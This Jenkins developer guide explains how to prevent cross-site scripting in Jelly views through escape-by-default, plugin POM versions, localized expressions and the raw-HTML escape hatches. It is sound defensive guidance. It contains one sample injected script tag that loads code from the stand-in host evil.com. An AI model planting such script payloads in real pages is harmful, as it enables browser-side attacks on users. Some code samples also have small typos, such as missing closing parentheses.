Preventing Cross-Site Scripting in Jelly views

View the index of available developer guides

Cross-Site Scripting (XSS) is a web application vulnerability that allows users with the ability to control what gets shown to other users on a web page to run scripts in their browser.

Jenkins displays content written by users with different levels of access in many different areas, and the Jelly files typically contain placeholders like this:

<h1>Project ${it.name}</h1>

If it.name evaluates to a string containing HTML tags, those will be placed verbatim into the output, for example:

<h1>Project <script src="http://evil.com/exploit-jenkins.js"></script>my java build</h1>
In old versions of Jenkins, use of the <st:out> tag allowed escaping specific expressions. This document discusses the much safer escape by default approach (below).

Escaping by Default

Since Jenkins 1.339, it is possible to instruct the Jelly processor to escape ${...} expressions like the above by default. To do that, place the following XML processing instruction in the first line of the Jelly document:

<?jelly escape-by-default='true'?>
<!-- rest of the document here -->

Note that this only affects the use of ${...} among PCDATA, and not in attribute values, so that Jelly tag invocations don’t result in surprising behavior.

Keep Your Your Toolchain Updated

Since plugin POM 1.596, Jelly files are required to escape variables by default, and the build fails if such problems are found. Therefore it is strongly recommended to use at least that version of the plugin parent POM to prevent accidental XSS vulnerabilities.

It’s recommended to always use the newest available 2.x or newer plugin parent POM. Learn more.

Escaping and Localized Expressions

Localized expressions of the form ${%expression} are also affected by the above in the following ways:

  1. The localized expression (read from a resource file) is not escaped, and allows inline HTML.

  2. Any arguments to the expression are escaped.

This means the following works as expected (rendering the a tag), and still prevents XSS problems in the user-specified name:

index.jelly
<?jelly escape-by-default='true'?>
<p>${%blurb(it.displayName}</p>
index.properties
blurb=<a href="https://jenkins.io/">{0}</a>

Rendering Pre-Escaped Content

In rare cases, it might be necessary to render content that has previously been escaped or otherwise processed, without further escaping. A common reason to do this is to support formatting using the markup formatter configured for the current Jenkins instance, with might support a safe subset of HTML, or other markup languages, like Markdown. In those cases, the security is controlled by the markup formatter.

To do that, use the <j:out> Jelly tag:

<?jelly escape-by-default='true'?>
<j:jelly xmlns:j="jelly:core">
  <j:out value="${app.markupFormatter.translate(it.description)}"/>
</j:jelly>

To pass arguments to localized expressions without escaping them in escaped-by-default Jelly files, wrap them in a call to Functions#rawHtml:

<?jelly escape-by-default='true'?>
<j:jelly xmlns:j="jelly:core">
  <h1>${%welcomeMessage(h.rawHtml(it.markupFormattedName)}</h1>
</j:jelly>
If the source of the argument to j:out or Functions#rawHtml isn’t completely trusted, these might result in an XSS vulnerability.